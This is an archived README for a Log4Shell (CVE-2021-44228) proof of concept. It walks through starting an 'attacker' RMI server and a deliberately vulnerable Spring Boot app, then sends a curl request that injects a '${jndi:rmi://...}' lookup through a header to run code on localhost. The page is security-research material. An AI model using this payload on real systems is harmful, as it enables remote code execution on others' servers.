Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2021-44228 PoC — Apache Log4j2 JNDI features do not protect against attacker controlled LDAP and other JNDI related endpoints

Source
Associated Vulnerability
Title:Apache Log4j2 JNDI features do not protect against attacker controlled LDAP and other JNDI related endpoints (CVE-2021-44228)
Description:Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.
Description
A Proof of Concept of the Log4j vulnerabilities (CVE-2021-44228) over Java-RMI
Readme
# log4shell-rmi-poc
A Proof of Concept of the Log4j vulnerability (CVE-2021-44228) over Java-RMI
<br/>
It uses Log4j 2.5.7 from spring-boot-starter-log4j2


## Requirements:

Tested with Java 8 (JDK 1.8.0_25) and Java 11 (JDK 11.0.1)

## How to run the POC

### 1. Clone the repo:
```bash
git clone https://github.com/Labout/log4shell-rmi-poc.git
```

### 2. Start the attacker RMI Server

```bash
cd Log4jshell_rmi_server

./mvnw clean package

java -jar target/Log4jshell.rmi.server-0.0.1-SNAPSHOT.jar
```

You should get something like this:

![rmi server](./rmi_server.png)


### 3. Start the vulnerable Log4j application (here a spring boot application)

In a new Terminal 

```bash
cd vulnerabel_log4j_app

./mvnw clean package

java -jar target/vulnerabel_log4j_app-0.0.1-SNAPSHOT.jar
```


### 4. Inject a vulnerable JNDI over the "Accept-version" header

```bash
curl 'http://localhost:8080/hello' --header 'Accept-Version: ${jndi:rmi://127.0.0.1:1099/ExecByEL}'
```

As you can see the the vulnerable app calls the Calculator app.

![exploit](./exploit.png)

## References 
https://www.cisecurity.org/log4j-zero-day-vulnerability-response/
<br>
https://www.lunasec.io/docs/blog/log4j-zero-day/
File Snapshot

[4.0K] /data/pocs/b3c9e3a34e13a44039569825a94dbd6812bb0439 ├── [794K] exploit.png ├── [4.0K] Log4jshell_rmi_server │   ├── [9.8K] mvnw │   ├── [6.5K] mvnw.cmd │   ├── [1.2K] pom.xml │   └── [4.0K] src │   └── [4.0K] main │   ├── [4.0K] java │   │   └── [4.0K] com │   │   └── [4.0K] log4j │   │   └── [4.0K] exploit │   │   └── [4.0K] rmi │   │   └── [1.6K] RmiServer.java │   └── [4.0K] resources │   └── [ 0] application.properties ├── [1.2K] README.md ├── [245K] rmi_server.png └── [4.0K] vulnerabel_log4j_app ├── [4.0K] logs │   └── [4.0K] 2021-12 │   ├── [ 919] spring-boot-logger-log4j2--18-December-2021-1.log.gz │   ├── [ 295] spring-boot-logger-log4j2--18-December-2021-2.log.gz │   ├── [ 915] spring-boot-logger-log4j2--18-December-2021-3.log.gz │   ├── [ 844] spring-boot-logger-log4j2--18-December-2021-4.log.gz │   ├── [ 763] spring-boot-logger-log4j2--18-December-2021-5.log.gz │   ├── [ 690] spring-boot-logger-log4j2--18-December-2021-6.log.gz │   ├── [ 694] spring-boot-logger-log4j2--18-December-2021-7.log.gz │   ├── [1.2K] spring-boot-logger-log4j2--19-December-2021-1.log.gz │   ├── [1.6K] spring-boot-logger-log4j2--19-December-2021-2.log.gz │   ├── [1.0K] spring-boot-logger-log4j2--19-December-2021-3.log.gz │   └── [ 812] spring-boot-logger-log4j2--19-December-2021-4.log.gz ├── [9.8K] mvnw ├── [6.5K] mvnw.cmd ├── [1.6K] pom.xml └── [4.0K] src ├── [4.0K] main │   ├── [4.0K] java │   │   └── [4.0K] com │   │   └── [4.0K] log4j │   │   └── [4.0K] vulnerabel │   │   └── [4.0K] app │   │   ├── [ 633] Log4jController.java │   │   └── [ 410] VulnerabelLog4jApplication.java │   └── [4.0K] resources │   └── [ 0] application.properties └── [4.0K] test └── [4.0K] java └── [4.0K] com └── [4.0K] log4j └── [4.0K] vulnerabel └── [4.0K] app └── [ 225] VulnerabelLog4JApplicationTests.java 26 directories, 26 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →